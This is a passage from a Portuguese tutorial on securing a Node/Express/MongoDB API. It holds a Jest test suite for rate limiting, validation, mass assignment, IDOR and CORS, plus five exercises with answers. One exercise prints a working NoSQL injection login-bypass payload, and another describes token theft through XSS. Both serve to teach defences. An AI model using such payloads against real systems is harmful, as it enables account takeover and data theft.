    // draft-7 manda UM cabeçalho: `RateLimit: limit=100, remaining=99, reset=900`.
    // Quem espera `RateLimit-Limit` está pensando no draft-6.
    expect(resposta.headers["ratelimit"]).toMatch(/limit=100/);
    expect(resposta.headers["ratelimit-limit"]).toBeUndefined();
    expect(resposta.headers["x-ratelimit-limit"]).toBeUndefined();  // legacy off
  });

  it("o /health fica FORA do limiter, de propósito", async () => {
    const resposta = await request(criarApp()).get("/health");
    // O monitoramento bate aqui a cada 5 minutos; a última coisa que se quer
    // é o healthcheck sendo throttled e acusando queda que não houve.
    expect(resposta.headers["ratelimit"]).toBeUndefined();
    expect(resposta.status).toBe(200);
  });
});

describe("3 — validação com Zod", () => {
  it("recusa tarefa sem título com 422 e diz qual campo", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ descricao: "sem titulo" });

    expect(resposta.status).toBe(422);
    expect(resposta.body.detalhes).toEqual(
      expect.arrayContaining([expect.objectContaining({ campo: "titulo" })])
    );
  });

  it("recusa status fora do enum", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ titulo: "x", status: "inventado" });

    expect(resposta.status).toBe(422);
  });

  it("aplica trim e os defaults do schema", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ titulo: "   Com espaços   " });

    expect(resposta.status).toBe(201);
    expect(resposta.body.titulo).toBe("Com espaços");
    expect(resposta.body.status).toBe("pendente");
    expect(resposta.body.prioridade).toBe("media");
  });

  it("ignora campo não declarado no schema", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ titulo: "ok", usuario: "6512f0000000000000000000", admin: true });

    expect(resposta.status).toBe(201);
    // mass assignment barrado: o dono é o do token, não o do corpo
    const gravada = await Tarefa.findById(resposta.body._id);
    expect(gravada.usuario.toString()).not.toBe("6512f0000000000000000000");
  });
});

describe("4 — isolamento por usuário", () => {
  it("tarefa de outro usuário responde 404, nunca 403", async () => {
    const ana = await usuarioComToken({ email: "ana@teste.com" });
    const bruno = await usuarioComToken({ email: "bruno@teste.com" });
    const doBruno = await Tarefa.create({ titulo: "Segredo", usuario: bruno.usuario._id });

    const resposta = await request(criarApp())
      .get(`/tarefas/${doBruno._id}`)
      .set("Authorization", ana.auth);

    expect(resposta.status).toBe(404);
    expect(resposta.status).not.toBe(403);
  });

  it("a listagem nunca vaza tarefa alheia", async () => {
    const ana = await usuarioComToken({ email: "ana@teste.com" });
    const bruno = await usuarioComToken({ email: "bruno@teste.com" });
    await Tarefa.create({ titulo: "Da Ana", usuario: ana.usuario._id });
    await Tarefa.create({ titulo: "Do Bruno", usuario: bruno.usuario._id });

    const resposta = await request(criarApp()).get("/tarefas").set("Authorization", ana.auth);
    expect(resposta.body.dados.map((t) => t.titulo)).toEqual(["Da Ana"]);
  });
});

describe("5 — CORS", () => {
  it("libera a origem configurada", async () => {
    const resposta = await request(criarApp())
      .get("/health")
      .set("Origin", "http://localhost:5173");

    expect(resposta.headers["access-control-allow-origin"]).toBe("http://localhost:5173");
  });

  it("não devolve o cabeçalho para origem estranha", async () => {
    const resposta = await request(criarApp())
      .get("/health")
      .set("Origin", "https://site-malicioso.com");

    expect(resposta.headers["access-control-allow-origin"]).toBeUndefined();
  });

  it("requisição sem Origin (curl) passa", async () => {
    const resposta = await request(criarApp()).get("/health");
    expect(resposta.status).toBe(200);
  });
});

describe("corpo grande", () => {
  it("recusa payload acima do limite", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ titulo: "x", descricao: "a".repeat(200_000) });

    expect(resposta.status).toBe(413);
  });
});

// 4 — CONFERINDO O ISOLAMENTO NA MÃO
//
//   # token da Ana pedindo a tarefa do Bruno
//   curl -s -o /dev/null -w "%{http_code}\n" \
//     -H "Authorization: Bearer $TOKEN_ANA" \
//     https://sua-api.railway.app/tarefas/$ID_DA_TAREFA_DO_BRUNO
//   404
//
// 6 — AUDITORIA DE DEPENDÊNCIAS
//
//   npm audit --audit-level=high
//   npm audit fix              # só o que é compatível
//   npm audit fix --force      # QUEBRA versões maiores; leia o diff antes
//
// No pipeline, `npm audit --audit-level=high` como step: falha o build quando
// aparece vulnerabilidade alta, em vez de esperar alguém rodar à mão.
//
// 7 — O .env NO GIT
//
//   git ls-files | grep -E "^\.env|/\.env"     # tem de sair vazio
//
// Se aparecer, o estrago já está feito: remover agora não apaga do histórico.
//
//   git rm --cached .env
//   echo ".env" >> .gitignore
//
// E então **rotacione tudo** que estava lá — JWT_SECRET, senha do banco, chaves
// de API. O commit continua no histórico, em cada clone e em cada fork.

// ---- saída real
// Test Suites: 1 passed, 1 total
// Tests:       15 passed, 15 total

Duas escolhas do enunciado que parecem detalhe e não são. 404, e nunca 403, para recurso de outro usuário: o 403 confirma que aquele id existe, e essa confirmação já é vazamento — dá para enumerar a base inteira com ela. E validar substituindo req.body pelo objeto que o Zod devolveu: é o que aplica trim, lowercase e defaults, e é o que barra mass assignment — mandar usuario ou admin no corpo deixa de ter efeito porque o campo simplesmente não existe no schema. Validar e continuar usando o corpo original é validar por enfeite.

Segurança não é uma lista de itens a instalar, é a suposição de que toda entrada é hostil até prova em contrário — e a prova acontece no servidor, porque o cliente inteiro está sob controle de quem ataca. As camadas vistas aqui repetem essa ideia em pontos diferentes: validar o formato, escapar na saída, limitar tentativas, restringir origem e conferir se este usuário pode mesmo ver este registro, que é a falha mais comum e a menos comentada de todas.

Fontes e Referências

Exercícios

Exercício 1

O login compara email e senha direto no banco. Sem saber nenhuma senha, o atacante envia este corpo e entra. Como?

POST /login
Content-Type: application/json

{ "email": { "$gt": "" }, "senha": { "$gt": "" } }
Ver resposta

✓ Resposta: Porque express.json() aceita qualquer estrutura JSON, inclusive objetos aninhados, e o código repassa esse objeto direto ao findOne. O MongoDB então não recebe os valores email e senha: recebe os operadores $gt, e a consulta passa a significar "qualquer documento cujo email seja maior que string vazia" — o que é verdade para todos. O findOne devolve o primeiro usuário do banco, a condição if (usuario) passa, e o atacante recebe um token válido, normalmente do usuário mais antigo — que costuma ser justamente o administrador. É a NoSQL injection, e ela não precisa de caractere especial nem de string malformada: precisa apenas que um objeto chegue onde se esperava texto. A defesa tem duas camadas. A imediata é verificar o tipo antes de usar: typeof email !== 'string' derruba o ataque inteiro, porque todo operador do MongoDB é objeto. A estrutural é validar o corpo com um esquema — Zod ou equivalente — na entrada de toda rota, o que resolve essa e várias outras classes de problema de uma vez. E vale reter o princípio: o formato do dado é tão importante quanto o conteúdo, e quase toda injeção começa com um valor que chegou num tipo inesperado.

Exercício 2

O token do usuário é guardado no localStorage e enviado no cabeçalho Authorization. O artigo diz que isso é imune a CSRF. Está correto — mas o que essa escolha custa?

// no login
localStorage.setItem('token', resposta.token);

// em toda requisição
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
Ver resposta

✓ Resposta: Custa exposição a XSS. A imunidade a CSRF é real e vem de um fato simples: o navegador anexa cookies sozinho a toda requisição para o domínio, mas nunca inventa um cabeçalho Authorization — então um site malicioso não consegue agir em nome do usuário. O preço é que, para enviar esse cabeçalho, o JavaScript precisa ler o token; e tudo que o seu JavaScript lê, o JavaScript injetado também lê. Um único XSS — num comentário, numa dependência comprometida, num script de terceiros — roda localStorage.getItem('token') e leva a sessão inteira para outro servidor, sem deixar rastro e sem depender de o usuário fazer nada. Um cookie httpOnly, ao contrário, é invisível ao JavaScript: nem o código legítimo nem o injetado o alcançam, e o navegador o anexa sozinho. Em troca, volta a exigir defesa contra CSRF, com SameSite e token de verificação. A conclusão não é que uma opção vença a outra, e sim que não existe escolha gratuita: localStorage troca CSRF por XSS. O que as duas abordagens compartilham é a mitigação que mais vale: token de vida curta, de minutos, com renovação — porque limita o estrago quando o roubo acontece, e ele acontece.

Exercício 3

Este endpoint deixa qualquer usuário autenticado ler o pedido de qualquer outro. O middleware de autenticação está funcionando. Onde está a falha?

router.get('/pedidos/:id', autenticar, async (req, res) => {
  const pedido = await Pedido.findById(req.params.id);

  if (!pedido) return res.status(404).json({ erro: 'Pedido não encontrado.' });

  res.json(pedido);
});
Ver resposta

✓ Resposta: A rota confere autenticação e esquece a autorização. O middleware responde "quem é você?" e faz isso direito; ninguém responde "você pode ver este registro?". Qualquer pessoa com uma conta legítima troca o id na URL e lê o pedido alheio — com endereço, valor e itens. A falha tem nome, IDOR (referência direta e insegura a objeto), e lidera as listas da OWASP sob o rótulo de controle de acesso quebrado, por dois motivos: é trivial de explorar, bastando incrementar um número, e é invisível nos testes, porque cada desenvolvedor testa com a própria conta e vê apenas os próprios dados. A correção é incluir o dono na consulta, e não conferir depois: Pedido.findOne({ _id: req.params.id, usuario: req.usuario._id }). Assim o registro de outro usuário simplesmente não é encontrado, e a resposta é 404 — o que também é melhor do que 403, porque não confirma ao atacante que aquele id existe. Duas observações práticas: usar ObjectId em vez de id sequencial dificulta a enumeração, mas não é controle de acesso, é apenas obscuridade; e a verificação precisa valer para todos os verbos, já que é comum proteger o GET e esquecer o PUT e o DELETE, onde o estrago é maior.

Exercício 4

O CSP foi configurado e a página carrega, mas todas as fontes aparecem com a tipografia padrão do navegador. O console mostra bloqueios. O que está errado?

helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    fontSrc: ["'self'", 'https://fonts.googleapis.com'],
  },
})
Ver resposta

✓ Resposta: Os dois domínios do Google Fonts estão trocados de lugar. O fonts.googleapis.com serve apenas a folha de estilo, aquele CSS com as regras @font-face; os arquivos de fonte propriamente ditos vêm de fonts.gstatic.com. Com a configuração acima, o CSS nem chega — porque styleSrc não lista o googleapis — e, se chegasse, as fontes seriam bloqueadas por não estarem em fontSrc. O correto é styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'] e fontSrc: ["'self'", 'https://fonts.gstatic.com']. É o engano mais comum ao ativar CSP, e o sintoma engana porque a página continua funcionando — só fica com a aparência errada. Duas observações sobre CSP que economizam tempo. A primeira é que diretiva ausente herda o defaultSrc, então esquecer connectSrc num app que chama uma API em outro domínio quebra todas as requisições. A segunda é o modo de implantação: começar com Content-Security-Policy-Report-Only, que apenas relata as violações sem bloquear nada, permite ajustar a política observando o tráfego real antes de ligá-la de verdade — ligar direto num app existente costuma derrubar meia aplicação.

Exercício 5

A senha é guardada com hash. Mesmo assim, um vazamento do banco compromete as contas rapidamente. Por quê?

const crypto = require('crypto');

function guardarSenha(senha) {
  return crypto.createHash('sha256').update(senha).digest('hex');
}
Ver resposta

✓ Resposta: Porque SHA-256 é um algoritmo de resumo, projetado para ser rápido — e velocidade é exatamente o oposto do que se quer aqui. Uma placa de vídeo comum calcula bilhões de hashes SHA-256 por segundo, então testar uma lista de senhas vazadas contra o banco inteiro é questão de minutos. Falta também o sal: sem ele, senhas iguais produzem hashes iguais, o que permite ver quais contas compartilham a mesma senha e usar tabelas pré-computadas, as rainbow tables. O algoritmo certo é feito para ser lento e ajustável — bcrypt, scrypt ou Argon2 —, e o bcrypt embute o sal aleatório no próprio hash, além de um fator de custo que se aumenta conforme o hardware evolui. O fator 12 do artigo significa 2¹² iterações, algo em torno de 200 a 300 milissegundos por verificação: irrelevante para um login legítimo, proibitivo para quem quer testar milhões de tentativas. Três complementos valem: o bcrypt.compare deve ser usado em vez de comparar hashes com ===, porque ele faz a comparação em tempo constante; o bcrypt ignora o que passar de 72 bytes, o que importa para quem aceita frases longas como senha; e nada disso substitui a defesa que mais reduz dano na prática, que é limitar tentativas de login por conta e por IP.

Comentários

Mais em Javascript

Callbacks: o começo de tudo
Callbacks: o começo de tudo

Antes das Promises, esperar era passar uma função para ser chamada depois. O…

Formulários: validação e coleta de dados
Formulários: validação e coleta de dados

Um campo de senha e outro de confirmação já mostram o limite do HTML sozinho…

MongoDB e Mongoose: banco de dados com Node
MongoDB e Mongoose: banco de dados com Node

Um array na memória some quando o servidor reinicia, e é aí que entra o banco…